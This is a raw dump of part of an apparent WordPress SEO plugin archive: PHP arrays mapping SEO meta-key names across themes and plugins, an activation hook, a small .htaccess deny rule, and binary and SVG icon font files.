), 'Headway' => array( 'Custom Doctitle' => '_title', 'META Description' => '_description', 'META Keywords' => '_keywords', ), 'Hybrid' => array( 'Custom Doctitle' => 'Title', 'META Description' => 'Description', 'META Keywords' => 'Keywords', ), 'Thesis 1.x' => array( 'Custom Doctitle' => 'thesis_title', 'META Description' => 'thesis_description', 'META Keywords' => 'thesis_keywords', 'Custom Scripts' => 'thesis_javascript_scripts', 'Redirect URI' => 'thesis_redirect', ), /* 'Thesis 2.x' => array( 'Custom Doctitle' => '_thesis_title_tag', 'META Description' => '_thesis_meta_description', 'META Keywords' => '_thesis_meta_keywords', 'Custom Scripts' => '_thesis_javascript_scripts', 'Canonical URI' => '_thesis_canonical_link', 'Redirect URI' => '_thesis_redirect', ), */ 'WooFramework' => array( 'Custom Doctitle' => 'seo_title', 'META Description' => 'seo_description', 'META Keywords' => 'seo_keywords', ), ); /** * The associative array of supported plugins. */ $_aiosp_seometa_plugins = array( // alphabatized. 'Add Meta Tags' => array( 'Custom Doctitle' => '_amt_title', 'META Description' => '_amt_description', 'META Keywords' => '_amt_keywords', ), 'All in One SEO Pack' => array( 'Custom Doctitle' => '_aioseop_title', 'META Description' => '_aioseop_description', 'META Keywords' => '_aioseop_keywords', 'Canonical URI' => '_aioseop_custom_link', ), 'Greg\'s High Performance SEO' => array( 'Custom Doctitle' => '_ghpseo_secondary_title', 'META Description' => '_ghpseo_alternative_description', 'META Keywords' => '_ghpseo_keywords', ), 'Headspace2' => array( 'Custom Doctitle' => '_headspace_page_title', 'META Description' => '_headspace_description', 'META Keywords' => '_headspace_keywords', 'Custom Scripts' => '_headspace_scripts', ), 'Infinite SEO' => array( 'Custom Doctitle' => '_wds_title', 'META Description' => '_wds_metadesc', 'META Keywords' => '_wds_keywords', 'noindex' => '_wds_meta-robots-noindex', 'nofollow' => '_wds_meta-robots-nofollow', 'Canonical URI' => '_wds_canonical', 'Redirect URI' => '_wds_redirect', ), 'Jetpack' => array( 'META Description' => 'advanced_seo_description', ), 'Meta SEO Pack' => array( 'META Description' => '_msp_description', 'META Keywords' => '_msp_keywords', ), 'Platinum SEO' => array( 'Custom Doctitle' => 'title', 'META Description' => 'description', 'META Keywords' => 'keywords', ), 'Rank Math' => array( 'Custom Doctitle' => 'rank_math_title', 'META Description' => 'rank_math_description', 'Canonical URI' => 'rank_math_canonical_url', ), 'SEOpressor' => array( 'Custom Doctitle' => '_seopressor_meta_title', 'META Description' => '_seopressor_meta_description', ), 'SEO Title Tag' => array( 'Custom Doctitle' => 'title_tag', 'META Description' => 'meta_description', ), 'SEO Ultimate' => array( 'Custom Doctitle' => '_su_title', 'META Description' => '_su_description', 'META Keywords' => '_su_keywords', 'noindex' => '_su_meta_robots_noindex', 'nofollow' => '_su_meta_robots_nofollow', ), 'Yoast SEO' => array( 'Custom Doctitle' => '_yoast_wpseo_title', 'META Description' => '_yoast_wpseo_metadesc', 'META Keywords' => '_yoast_wpseo_metakeywords', 'noindex' => '_yoast_wpseo_meta-robots-noindex', 'nofollow' => '_yoast_wpseo_meta-robots-nofollow', 'Canonical URI' => '_yoast_wpseo_canonical', 'Redirect URI' => '_yoast_wpseo_redirect', ), ); /** * The combined array of supported platforms. */ $_aiosp_seometa_platforms = array_merge( $_aiosp_seometa_themes, $_aiosp_seometa_plugins ); /** * Include the other elements of the plugin. */ // phpcs:disable Squiz.Commenting.InlineComment.InvalidEndChar // require_once( aiosp_seometa_PLUGIN_DIR . '/admin.php' ); // require_once( aiosp_seometa_PLUGIN_DIR . '/functions.php' ); // phpcs:enable /** * Init hook. * * Hook fires after plugin functions are loaded. * * @since 0.9.10 */ do_action( 'aiosp_seometa_import' ); } /** * Activation Hook * * @since 0.9.4 */ register_activation_hook( __FILE__, 'aiosp_seometa_activation_hook' ); function aiosp_seometa_activation_hook() { // phpcs:ignore Squiz.Commenting.InlineComment.InvalidEndChar // require_once( aiosp_seometa_PLUGIN_DIR . '/functions.php' ); aiosp_seometa_meta_key_convert( '_yoast_seo_title', 'yoast_wpseo_title', true ); aiosp_seometa_meta_key_convert( '_yoast_seo_metadesc', 'yoast_wpseo_metadesc', true ); } PK������+—[³yd«c���c���#��all-in-one-seo-pack/admin/.htaccessnu�ÏÃ6Ç$��������<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch>PK������+—[[î¯ÄÀ��À��.��all-in-one-seo-pack/css/font-icons/aioseop.eotnu�„[µü¤��������À����������� �����������LP����������������������ÖWUI�������������������a�i�o�s�e�o�p����R�e�g�u�l�a�r����V�e�r�s�i�o�n� �1�.�0����a�i�o�s�e�o�p��������� �€��PFFTMxÒ!˜������GDEF�>���à��� OS/2Oû\¿��X���Vcmap(bÜ��Ü��tgaspÿÿ���Ø���glyfṯé��t��head ²¿Å���Ü���6hhea/�����$hmtx®�Å��°���*loca´��P���$maxp�Y�¦��8��� name^ ¯Ë��Œ��†post¼` �����Â������IUWÖ_<õ� �����ÖJ?d����ÖJ?d�����������������������.���������������������������£�������������@����������Lf���GLf���õ��„��� ���������������������PfEd�@�a�zàÿà�.�������������������������4���k�����������M�`�����������������n�������R��� ������a�q�zÿÿ�����a�h�xÿÿ��ÿ¦���������������� �� �� � �� ���������������������������������������������������������������������������������������������������������    ���������������������������������������������������������������������������������������������������������������������������������������������������� „¤˜0vZ”€ ���øÿ�V�i��7&54'&'&5"/767654'./&7>2327>7>763276'&7676'.6Ù /&       %5     1J:(G#' +! ' +* (%(    ) !" .&  '7/+ +���4��Í����0�:�A�I��7"'&47>#""'&467623#'"#'&476762"'!!%5#5#!4&#3–üµ#Á ê Å ê`U þgfy»4Y-æ A ]�Vþº†þf,Z.������þþ��)�K��7&'&'&'&47>76"#"7>4'&327>7>54'&'&"37637ð2,'$4kM"%{I$)=R      ./- $7H@Moj7‹;''8^ (|  , �����íý��;�^��7&'&'&'4.5476762#&7676767674&'&'&'&'"'&'&'&54767676323ü :)L "^Z?BB -x. G/ ,5"*gT CB "U,  CA.: ? 5 #8f—%$ <;,®L0e5; )$  * *3{O39!3,  +‡P, �����k�W•–��9�\��7&'&'&'&547676#&7676767656&'&'&#&5"'&'&'&547676726322ý$1  ;8())K,"@5* ) 6.% !(#X #B]  *l1>"% !O0 $Q#  T3������Hýë��(�@�s�¢��7&'&5&7676&'&'&547676767656&'&7>&'&'&767>'&67632"'&"32&'&7&76763276&/76&'&/7632#"ñQ&?C)3"I8+070i E"O[6- ¡    *   ñ   2  &. x.~   -j0  9s.  9Ž7#W22 ' Q2,(1M4$  6 )+     (, <,d)  4E 7@ ������ýý��!�3�D�U�b��7&'&'&5&7>7>/#7676&'&#"76'754'.#&32%676'&'&32'676'&73É+41ld,? )0=7! c  2+ '>·% 6  ’1 6 ‘ s  10' @Y~U…':AT)0*'2‹12  '80/ (-6 ]ë   8����H�®�"�*��7&'&'&'&7676767672764'&3°U!  !"k¦/  Ku?KH %,UM  ;N$# |<!(�����ó��� �B�`��7&'&'&'&547>7675!!&'&'&'&7676767632#"767676767654'&'&'&ñ6+  @-210G  *3þþP?& +!4=! '#':-! :;I ! G-9C6/ @2$-N!$..H H1-*# "µ4æ1'1=F:& :*]b =(&& !#%X3 ,EQ8[������������ �0��=7>7632#74+6;6'&'&'&6¨-W* $£¢©´L5 )>   /-TP¨.P%& ¤¤gL=) % !  1- ��������!��!#'&'&/7676'.#�A: !  H*#7 %;#?��þ�1+; **3/",5-;�������õ���%�<�S��"7>76&'.&/?7'&7676'.'&3'.'&7676ú(AJ1+F PH QR) B ^GV yKaNS&^>8Em <d&:U,<³ 7&??/A8(-`'#%H QR) AÕ5Ak 0 !FX=h>]#UC "$!PS:UO=����M�2²Ë�I�N��7'&'"'4#"'4#&5'"5&#'5432543257254327632=!+##+3222!573/53#ƒ  ƒƒ “„ãã3 Ÿ  þÍ(¦§þš@ �����`�LŸ¢��8�[��7&'&'&'&57676#"7676767654&'&'&'"'"'&'&'&547676726322ý )4 ! >>).,R 2& H6,+ 6.% !(#M %Cg$  %t4 "B&%  #R6"$Q#  T3������ �–����������������(�������#�x��������¬������� �Ì��������è�� ������ ����� ��F�0�� ���œ�� ���´�� ���Ø�a�i�o�s�e�o�p��aioseop��R�e�g�u�l�a�r��Regular��F�o�n�t�F�o�r�g�e� �2�.�0� �:� �a�i�o�s�e�o�p� �:� �3�-�1�2�-�2�0�1�7��FontForge 2.0 : aioseop : 3-12-2017��a�i�o�s�e�o�p��aioseop��V�e�r�s�i�o�n� �1�.�0��Version 1.0��a�i�o�s�e�o�p��aioseop��������������������������������������     cogfilehelpshieldshield-default-bk1 shield-updatesupportyoutubedeletecog-edit default-useracceptbookshield-default�����ÿÿ������������������������������Ì=¢Ï����ÖJ?d����ÖJ?dPK������+—[¤y^l(��l(��.��all-in-one-seo-pack/css/font-icons/aioseop.svgnu�„[µü¤��������<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg"> <metadata>Generated by Fontastic.me</metadata> <defs> <font id="aioseop" horiz-adv-x="512"> <font-face font-family="aioseop" units-per-em="512" ascent="480" descent="-32"/> <missing-glyph horiz-adv-x="512" /> <glyph glyph-name="cog" unicode="k" d="M217 2c-14 2-17 5-17 14 0 3-1 8-2 12-6 24-29 47-57 59-21 8-40 8-67 1-10-3-18-5-18-4-1 0-12 20-25 43l-23 42 11 13c15 18 21 27 27 37 6 13 9 24 9 36 0 24-8 41-32 71-7 7-13 15-14 16-1 1 1 6 16 31 27 48 31 54 41 53 2-1 9-2 14-4 10-3 12-3 26-3 14 0 17 0 26 3 37 11 65 41 67 70 2 15 4 17 27 19 20 1 66 0 74-2 9-2 10-4 11-13 2-17 8-31 21-44 10-11 19-18 33-24 15-7 24-9 41-9 13 0 15 0 26 3 19 6 22 5 32-11 5-7 38-65 39-67 0-1-5-7-11-14-6-7-13-16-15-19-16-21-23-46-20-67 3-22 12-38 35-61l12-13-17-30c-19-34-28-48-32-51-5-3-12-3-22 0-12 5-25 6-37 4-31-4-59-21-74-44-6-10-9-18-11-31-1-12-2-13-9-15-6-2-75-2-85-1z m65 156c25 7 47 25 59 50 18 35 17 73-2 102-27 42-79 56-126 36-24-11-43-32-52-61-4-10-4-11-4-26 0-13 0-17 3-24 10-39 42-70 77-78 9-2 36-2 45 1z"/> <glyph glyph-name="file" unicode="i" d="M150 230c-13 0-21 1-22 2-2 1-2 21 0 23 3 3 253 4 256 0 2-1 2-21 1-23-1-1-5-2-17-2-19-1-187-1-218 0z m-12-130c-4 0-8 1-9 2-1 1-1 19 0 21 1 1 6 1 21 2 24 1 207 1 224 0l11 0 1-12c0-10 0-12-2-12-2-1-233-2-246-1z m0 64c-4 0-8 1-9 1-1 2-1 19 0 21 1 1 6 2 20 3 22 1 209 1 226 0l10-1 1-11c0-10 0-12-2-13-2-1-233-1-246 0z m-86 92l0 256 280 0 7-5c27-18 102-93 118-119l4-5 0-383-409 0z m358-70l0 134-121 0 0 141-187 0 0-410 308 0z m0 166c0 2-89 91-90 91 0 0-1-21-1-46l0-46 45 0c30 0 46 0 46 1z"/> <glyph glyph-name="help" unicode="h" d="M240 2c-35 2-63 9-94 24-30 14-49 28-75 54-34 36-56 77-66 127-4 21-4 73-1 94 20 103 96 182 199 205 19 4 48 6 71 4 79-5 150-47 196-114 48-73 54-174 15-253-15-30-31-50-60-78-38-35-93-59-143-63-8 0-16-1-19-1-3 0-14 0-23 1z m35 93c5 3 10 7 13 11 4 6 4 8 4 22 0 15 0 16-4 23-9 12-26 17-43 14-5-1-12-4-15-6-16-11-18-44-4-58 8-7 16-10 30-10 9 0 13 1 19 4z m9 120c1 19 1 19 33 45 39 31 48 46 48 78 0 23-6 38-21 53-10 10-26 19-43 23-14 4-53 4-71 0-25-5-65-21-65-25 0-4 23-47 25-47 1 0 8 3 16 6 28 11 53 16 72 12 7-1 10-3 15-8 6-6 7-6 7-18 0-17-4-22-37-48-31-25-38-37-40-69l-1-17 31 0 30 1z"/> <glyph glyph-name="shield" unicode="x" d="M252 1c-7 3-28 13-36 18-38 23-71 53-99 91-50 67-82 155-93 253-1 14-6 71-6 75 0 1 2 2 32 18 34 17 47 22 64 29 63 24 122 32 184 24 40-5 85-18 129-38 17-7 66-30 66-31 1 0-1-23-4-60-4-37-9-70-17-103-29-112-88-201-165-250-17-10-48-27-51-27 0 0-2 1-4 1z m9 23c8 3 29 15 45 25 46 31 88 84 118 149 17 35 30 75 37 112 5 28 6 42 7 73 0 48-1 50-31 65-32 16-62 26-97 34-26 5-47 7-76 8-68 1-130-12-187-40-21-11-26-14-29-21-3-7-4-10-4-30-1-32 2-60 8-93 16-77 52-154 93-202 26-30 79-71 103-80 6-2 8-2 13 0z m-7 16c-5 0-30 14-45 25-55 37-101 104-129 186-8 25-13 46-20 84-6 33-8 45-8 58 0 14 2 19 6 26 6 7 13 12 33 21 48 22 88 33 132 38 9 1 18 2 33 2 23 0 34-1 55-5 32-5 69-17 104-32 5-3 10-5 11-5 5-2 13-7 18-11 9-9 13-20 14-35 1-12 0-21-7-58-16-86-48-164-88-215-17-22-59-56-87-72-11-5-18-8-22-7z"/> <glyph glyph-name="shield-default-bk1" unicode="a" d="M253 88c-4 2-17 8-22 12-24 14-45 33-62 56-31 42-52 97-58 159-1 8-4 44-4 46 0 1 1 2 20 12 21 10 29 14 40 18 40 15 76 20 115 15 25-3 53-11 81-24 11-4 41-19 41-19 1 0 0-14-2-38-3-23-6-44-11-64-18-70-55-126-103-157-11-6-30-17-32-17 0 0-2 1-3 1z m6 14c5 2 18 10 28 16 29 20 55 53 74 93 11 22 19 47 23 71 3 17 4 26 4 45 1 30 0 31-19 41-20 10-38 16-61 21-16 3-29 5-47 5-43 1-81-7-117-25-13-7-16-9-19-13-2-4-2-6-2-19-1-20 1-37 5-58 10-48 32-97 58-127 17-19 50-44 65-49 4-2 5-2 8-1z m-4 10c-3 0-19 9-29 16-34 23-63 65-80 117-5 15-8 28-13 52-4 21-5 28-5 36 0 9 1 12 4 16 4 5 8 8 20 14 30 13 56 21 83 24 6 0 11 1 21 1 14 0 21-1 35-3 19-4 42-11 64-21 4-1 7-2 7-3 3 0 9-4 12-7 5-5 8-12 9-21 0-8-1-13-5-36-10-55-30-103-55-135-11-14-37-35-55-45-6-4-11-5-13-5z"/> <glyph glyph-name="shield-update" unicode="z" d="M241 120c-54 31-89 88-106 172-3 16-5 32-5 40-1 12 0 13 4 18 5 6 26 16 46 23 42 16 87 18 130 7 17-5 47-16 58-23 14-8 16-21 10-55-12-68-37-123-70-154-16-15-42-33-50-34-4-1-8 0-17 6z m3-26c-16 8-22 12-37 24-45 35-80 100-92 172-2 13-7 61-7 69 0 3 4 5 27 16 41 20 65 28 99 31 32 3 67-2 103-14 14-5 63-27 66-29 1-2-3-52-7-74-17-94-62-161-131-197l-9-4z m22 11c45 23 80 64 103 122 13 34 19 64 19 100 1 32 1 32-21 43-49 24-113 31-170 18-29-6-62-20-70-29-4-4-4-5-4-32 0-23 1-31 5-47 10-51 34-101 61-131 12-14 41-36 54-43 6-3 12-6 12-6 1 0 6 3 11 5z m-163-20c-21 11-37 28-58 58-12 19-29 51-35 69-9 27-10 85-3 126 6 35 18 64 36 88 16 21 16 22 8 34-7 10-6 12 8 16 17 6 62 15 71 15 7 0 8-1 9-4 1-5-2-43-5-65-4-29-7-36-11-29-3 5-10 11-13 11-8 0-31-35-39-60-6-21-7-29-7-67 0-42 0-45 14-76 4-11 8-23 9-27 1-11 2-14 7-14 2 0 8-4 13-7 10-7 27-24 24-24 0 0-4 2-8 5-8 5-15 6-15 3 0-2 3-7 7-13 10-13 15-24 15-33 0-15-8-17-27-6z m268-11c-3 2-3 16 0 43 3 25 7 48 9 53 1 2 2 2 9-2 4-2 9-4 11-4 12 0 28 25 40 60 19 58 4 131-38 185-4 6-8 10-7 11 0 0 6-4 12-10 14-13 19-16 21-15 2 1-10 19-22 34-5 6-11 13-13 16l-4 4 5 7c5 8 14 14 19 14 4 0 16-9 32-25 33-34 54-74 62-121 3-17 3-63 0-82-4-27-9-41-33-95-5-11-10-24-10-28-1-6-1-8 3-14 2-3 4-7 3-8-2-3-14-7-41-14-21-5-51-11-55-11-1 0-2 0-3 2z"/> <glyph glyph-name="support" unicode="j" d="M201 4c-25 3-63 20-95 44-22 16-37 31-55 53-35 46-49 90-49 153-1 87 33 153 107 211 41 31 117 50 175 44 95-11 166-63 207-150 14-30 18-51 18-97 0-87-18-135-73-190-32-32-69-53-109-62-32-8-90-10-126-6z m104 34c32 3 34 10 13 62l-12 29-99 0-12-29c-13-32-18-51-15-53 3-3 19-8 38-11 18-3 48-2 87 2z m-11 133c29 13 46 36 52 68 5 31-6 68-27 86-16 14-31 19-61 19-33 0-46-5-67-25-20-21-25-34-25-65 0-21 0-24 7-38 17-36 49-55 89-53 14 1 21 3 32 8z m-198 20l37 15 0 48c0 45-1 48-5 51-14 7-63 25-71 25-9 1-9 0-12-8-5-15-10-49-10-70 0-21 7-58 13-69 2-4 5-7 7-7 2 0 21 6 41 15z m369-11c1 2 5 17 8 33 5 23 6 33 5 45-3 27-8 58-12 66-3 8-4 8-10 7-8-1-43-14-64-23l-13-5 0-93 12-6c29-15 60-28 66-28 3 0 7 1 8 4z m-146 231c7 18 13 37 14 42 2 9 1 10-5 12-32 13-136 11-148-3-3-4 3-24 18-62l10-23 49 1 48 0z"/> <glyph glyph-name="youtube" unicode="l" d="M176 72c-59 1-98 4-118 8-9 2-24 10-30 16-11 11-20 31-23 55-4 32-5 74-4 129 1 58 4 84 12 104 5 11 14 23 23 29 12 8 22 11 49 13 37 3 57 3 141 4 111 0 175-1 213-5 15-2 20-3 29-8 14-6 21-14 28-27 7-15 10-26 13-52 2-19 3-46 3-87 0-58-2-88-7-114-5-24-17-41-33-51-13-7-25-9-91-12-28-2-150-3-205-2z m49 123c53 27 117 60 117 61 0 1 2 0-63 34-61 32-75 40-76 39-1-1-1-145 0-145 0 0 10 5 22 11z"/> <glyph glyph-name="delete" unicode="q" d="M241 78c-36 3-69 16-97 38-9 8-24 23-31 33-19 25-30 51-35 82-1 7-1 11-1 26 0 18 1 23 4 38 13 62 59 113 119 133 32 10 66 12 99 4 65-16 115-68 131-133 7-28 7-60-1-87-6-24-17-46-32-66-6-8-19-21-26-27-27-22-58-36-93-40-8-1-29-2-37-1z m144 179l0 26-258 0 0-52 258 0z m-141-256c-51 2-103 21-143 52-24 18-46 42-61 67-22 34-34 69-39 110-1 12-1 41 0 53 5 48 22 90 50 128 14 19 34 38 53 53 33 24 72 41 113 47 6 1 10 1 39 1 29 0 32 0 39-1 27-4 49-11 74-24 27-13 47-27 68-48 21-21 37-45 50-71 29-60 33-129 12-191-4-14-7-20-13-33-20-41-50-75-88-101-40-26-84-40-132-43-6 0-12 0-12 0 0 0-5 0-10 1z m33 37c21 2 42 8 62 16 13 5 31 15 43 23 20 14 40 35 54 54 14 21 26 47 32 72 5 19 7 34 7 54 0 16-1 26-3 40-11 56-42 106-88 139-30 21-64 34-102 39-9 2-32 2-43 1-45-3-86-20-121-48-14-11-31-30-42-45-30-44-44-97-38-150 8-74 53-139 120-172 25-13 50-20 81-23 6-1 31 0 38 0z"/> <glyph glyph-name="cog-edit" unicode="n" d="M0 84l0 80 168 168c104 105 171 159 175 165 24 14 35 15 55 15 15 0 32-5 50-15 13-8 44-40 50-53 11-19 14-33 14-51 0-16-5-32-14-48-3-12-55-68-167-181l-162-164-169 0z m180 19c0 57-30 76-76 76l-53 0 0-61 0-41c10 2 15 0 20-5 6-6 8-10 6-21l41 0 62 0z m283 241c5 5 8 24 2 45-6 25-15 39-24 49-13 12-26 19-50 26-22 5-38 4-49-2-5-4-14-10-18-17 7-12 29-36 56-64 20-20 40-42 63-55 9 2 14 11 20 18z"/> <glyph glyph-name="default-user" unicode="o" d="M0 256l0 256 512 0 0-512-65 0-1 14c-3 34-11 62-26 92-20 39-49 68-88 87l-18 9 9 7c21 15 38 41 45 66 3 14 3 41 0 55-14 56-68 94-124 88-47-6-87-41-98-86-4-15-5-42-1-56 6-27 25-54 47-69 7-4 7-4 3-6-39-16-70-41-94-77-20-30-32-65-36-104l-2-20-63 0z"/> <glyph glyph-name="accept" unicode="p" d="M250 435c-14 0-25-2-39-5-53-14-99-53-121-104-17-40-19-85-5-126 21-63 74-109 139-120 6-1 14-2 22-3 10-1 31 1 44 3 57 11 107 51 130 104 26 60 18 128-21 180-35 46-91 73-149 71z m115-71l12-12c7-7 14-14 16-16l4-5-81-81c-45-45-82-82-82-82 0 0-18 19-41 41l-41 41 17 16c8 9 16 16 16 16 0 0 12-11 25-24l24-24 66 65z m-97 148c-59 2-118-15-165-50-56-42-92-103-102-172-2-14-2-54 0-68 3-22 8-41 16-59 36-93 123-156 223-163 62-3 125 17 175 56 11 8 33 30 41 41 53 66 69 152 45 233-25 83-92 149-175 172-19 6-39 9-58 10z m-24-37c8 0 16 0 24 0 92-5 171-67 198-156 6-21 9-39 9-63 0-24-2-40-9-62-7-25-18-47-34-69-38-51-96-83-160-88-23-1-45 0-69 6-77 19-138 78-159 155-16 55-8 115 19 164 10 18 20 32 35 47 39 40 91 63 146 66z"/> <glyph glyph-name="book" unicode="m" d="M131 51c-5 1-8 1-8 2-1 1-5 2-11 3-9 0-9 1-10 4 0 2-1 3-3 3-1 0-2 1-3 3 0 2-1 3-3 3-1 1-3 2-3 4-1 1-2 2-3 3-2 0-3 1-3 9-1 9-1 9-4 9l-3 1 0 159c0 153 0 160 2 160 4 0 5 2 5 11 0 8 0 9 2 9 1 0 3 1 3 3 1 1 3 3 4 4 2 0 3 2 3 3 0 2 1 2 2 2 2 0 3 2 4 3 2 4 3 4 12 4 8 0 8 0 8 3l0 3 262 0 0-307-131 0-131 0-1-3c0-2-1-3-4-3-2-1-3-1-3-3 0-1-1-3-3-3-2-1-3-3-3-4-1-2-1-3-3-3l-3 0 0-40 3 0c2 0 2 0 2-2 0-1 2-3 4-4 2 0 3-2 4-3 0-2 1-3 3-3 2 0 3-1 3-3l1-3 288 0 0 166 1 167 23 0 0-358-147 1c-82 0-152 0-156 0z m24 64l0 12 227 0 0-25-227 0z"/> <glyph glyph-name="shield-default" unicode="y" d="M253 77c-4 1-18 8-24 12-25 15-48 35-66 61-34 44-56 104-63 170-1 9-4 47-4 50 0 1 1 1 22 12 23 11 31 15 42 19 43 17 82 22 124 17 27-4 57-13 87-26 11-5 44-20 44-21 0 0-1-15-3-40-2-25-6-47-11-69-19-75-59-135-111-168-11-7-32-18-34-18 0 0-2 0-3 1z m6 15c6 2 20 10 30 17 31 21 60 56 80 100 11 23 20 50 24 75 4 18 5 28 5 49 0 32 0 33-21 44-21 11-41 17-65 22-17 4-31 5-50 6-46 0-88-8-126-27-14-7-18-10-20-14-2-5-2-7-3-20 0-22 2-40 6-63 11-51 35-103 62-136 18-20 53-47 70-53 4-1 5-1 8 0z m-4 20c-3 0-19 9-29 16-34 23-63 65-80 117-5 15-8 28-13 52-4 21-5 28-5 36 0 9 1 12 4 16 4 5 8 8 20 14 30 13 56 21 83 24 6 0 11 1 21 1 14 0 21-1 35-3 19-4 42-11 64-21 4-1 7-2 7-3 3 0 9-4 12-7 5-5 8-12 9-21 0-8-1-13-5-36-10-55-30-103-55-135-11-14-37-35-55-45-6-4-11-5-13-5z"/> </font></defs></svg> PK������+—[û<B����.��all-in-one-seo-pack/css/font-icons/aioseop.ttfnu�„[µü¤������������ �€��PFFTMxÒ!˜������GDEF�>���à��� OS/2Oû\¿��X���Vcmap(bÜ��Ü��tgaspÿÿ���Ø���glyfṯé��t��head ²¿Å���Ü���6hhea/�����$hmtx®�Å��°���*loca´��P���$maxp�Y�¦��8��� name^ ¯Ë��Œ��†post¼` �����Â������IUWÖ_<õ� �����ÖJ?d����ÖJ?d�����������������������.���������������������������£�������������@����������Lf���GLf���õ��„��� ���������������������PfEd�@�a�zàÿà�.�������������������������4���k�����������M�`�����������������n�������R��� ������a�q�zÿÿ�����a�h�xÿÿ��ÿ¦���������������� �� �� � �� ���������������������������������������������������������������������������������������������������������    ���������������������������������������������������������������������������������������������������������������������������������������������������� „¤˜0vZ”€ ���øÿ�V�i��7&54'&'&5"/767654'./&7>2327>7>763276'&7676'.6Ù /&       %5     1J:(G#' +! ' +* (%(    ) !" .&  '7/+ +���4��Í����0�:�A�I��7"'&47>#""'&467623#'"#'&476762"'!!%5#5#!4&#3–üµ#Á ê Å ê`U þgfy»4Y-æ A ]�Vþº†þf,Z.������þþ��)�K��7&'&'&'&47>76"#"7>4'&327>7>54'&'&"37637ð2,'$4kM"%{I$)=R      ./- $7H@Moj7‹;''8^ (|  , �����íý��;�^��7&'&'&'4.5476762#&7676767674&'&'&'&'"'&'&'&54767676323ü :)L "^Z?BB -x. G/ ,5"*gT CB "U,  CA.: ? 5 #8f—%$ <;,®L0e5; )$  * *3{O39!3,  +‡P, �����k�W•–��9�\��7&'&'&'&547676#&7676767656&'&'&#&5"'&'&'&547676726322ý$1  ;8())K,"@5* ) 6.% !(#X #B]  *l1>"% !O0 $Q#  T3������Hýë��(�@�s�¢��7&'&5&7676&'&'&547676767656&'&7>&'&'&767>'&67632"'&"32&'&7&76763276&/76&'&/7632#"ñQ&?C)3"I8+070i E"O[6- ¡    *   ñ   2  &. x.~   -j0  9s.  9Ž7#W22 ' Q2,(1M4$  6 )+     (, <,d)  4E 7@ ������ýý��!�3�D�U�b��7&'&'&5&7>7>/#7676&'&#"76'754'.#&32%676'&'&32'676'&73É+41ld,? )0=7! c  2+ '>·% 6  ’1 6 ‘ s  10' @Y~U…':AT)0*'2‹12  '80/ (-6 ]ë   8����H�®�"�*��7&'&'&'&7676767672764'&3°U!  !"k¦/  Ku?KH %,UM  ;N$# |<!(�����ó��� �B�`��7&'&'&'&547>7675!!&'&'&'&7676767632#"767676767654'&'&'&ñ6+  @-210G  *3þþP?& +!4=! '#':-! :;I ! G-9C6/ @2$-N!$..H H1-*# "µ4æ1'1=F:& :*]b =(&& !#%X3 ,EQ8[������������ �0��=7>7632#74+6;6'&'&'&6¨-W* $£¢©´L5 )>   /-TP¨.P%& ¤¤gL=) % !  1- ��������!��!#'&'&/7676'.#�A: !  H*#7 %;#?��þ�1+; **3/",5-;�������õ���%�<�S��"7>76&'.&/?7'&7676'.'&3'.'&7676ú(AJ1+F PH QR) B ^GV yKaNS&^>8Em <d&:U,<³ 7&??/A8(-`'#%H QR) AÕ5Ak 0 !FX=h>]#UC "$!PS:UO=����M�2²Ë�I�N��7'&'"'4#"'4#&5'"5&#'5432543257254327632=!+##+3222!573/53#ƒ  ƒƒ “„ãã3 Ÿ  þÍ(¦§þš@ �����`�LŸ¢��8�[��7&'&'&'&57676#"7676767654&'&'&'"'"'&'&'&547676726322ý )4 ! >>).,R 2& H6,+ 6.% !(#M %Cg$  %t4 "B&%  #R6"$Q#  T3������ �–����������������(�������#�x��������¬������� �Ì��������è�� ������ ����� ��F�0�� ���œ�� ���´�� ���Ø�a�i�o�s�e�o�p��aioseop��R�e�g�u�l�a�r��Regular��F�o�n�t�F�o�r�g�e� �2�.�0� �:� �a�i�o�s�e�o�p� �:� �3�-�1�2�-�2�0�1�7��FontForge 2.0 : aioseop : 3-12-2017��a�i�o�s�e�o�p��aioseop��V�e�r�s�i�o�n� �1�.�0��Version 1.0��a�i�o�s�e�o�p��aioseop��������������������������������������     cogfilehelpshieldshield-default-bk1 shield-updatesupportyoutubedeletecog-edit default-useracceptbookshield-default�����ÿÿ������������������������������Ì=¢Ï����ÖJ?d����ÖJ?dPK������+—[¢H����/��all-in-one-seo-pack/css/font-icons/aioseop.woffnu�„[µü¤��������wOFFOTTO��� ����Ì�����������������������CFF ���� Ã��Ðb'"XFFTM�� Ì������xÒ!˜GDEF�� è������ �<�OS/2�����G���`P^Åcmap��P���m��tEÊhead��À���)���6 ²¿Åhhea��ì������$/hmtx����� ���"¨�Âmaxp��$�������P�name��,���ß��†^ ¯Ëpost�� ������ ��xœUWiT×uî–¦™Œ‘#ûÅQE±CÙeWHìXއDq¢”�‰`$àYfé™éé}ßÞ~Ï}kw¿^§—éY˜† B‘åJâÂ.;‹£ª(RIéÇ›r»*¹-Ë©Jß×Ý÷uŸwß¹ß9ç;ßs:úúN§ ŒNùÝS^‡ó‡ÓñÍ­/=²õåG·~»ìpÂŽGaGß®íŽ'^~ü�þo²£ã­âVÑõ¤ã—=ép|êIç¿ù¤ã3Oî<ô¸ãS½eúȱÃñ¸c㫎gÏ:þÚqÈqÜqÆ1ä˜vDé¡©sgG=î·Çëu{†õ¹wØ}v è ìÿêÇ¿½Ã·?èõNùÑ©` 8èv{Ü7]c¯{x4ðëk‚~·o`hÈí NMÿÿ?Þâ¯wêp8E§ä”Ø NâTœªSsêNÃi:ó΂ã±Þq~ÁùßüðÑûÖ¶Uúï¡c¿·~{îÓ;Ž}òñö„Âñ{`(¦B))e5o«³‹õežà’P”LÐU¤©…Jc Õ—ÒeW`6W“ÚRËœ«µÕ,¦aꬌÝÌlM"e$Rƒœ’0“FÎÌZ©2_‘븀•œÂ*§H£€L_ yrjâl&'I¤C†¬*(‘I–ˆ¼÷$Jød`‚ Öä:ùø!-eøŸås‰(ʤf\å€&�8¯Õ³-v1=0üD$HS¥ŠŒØ_ar’—º4’_Î^¢;Ó  U Z±p¾ÑêX¯6o%Pc’¸£#i_0êãÐNûËvŒYÆö>hh&¢@S&’ÖU±$É2„ê^—¥»¿Å”±' A (Åݸ”WŒt_�?N`0Æ2D{ÛѰ辞5(Ô("leIÏü0q ø#óÅ>2ÿú¿3ÝÂÖÞ­O÷‹º+>ÿ?òÎ 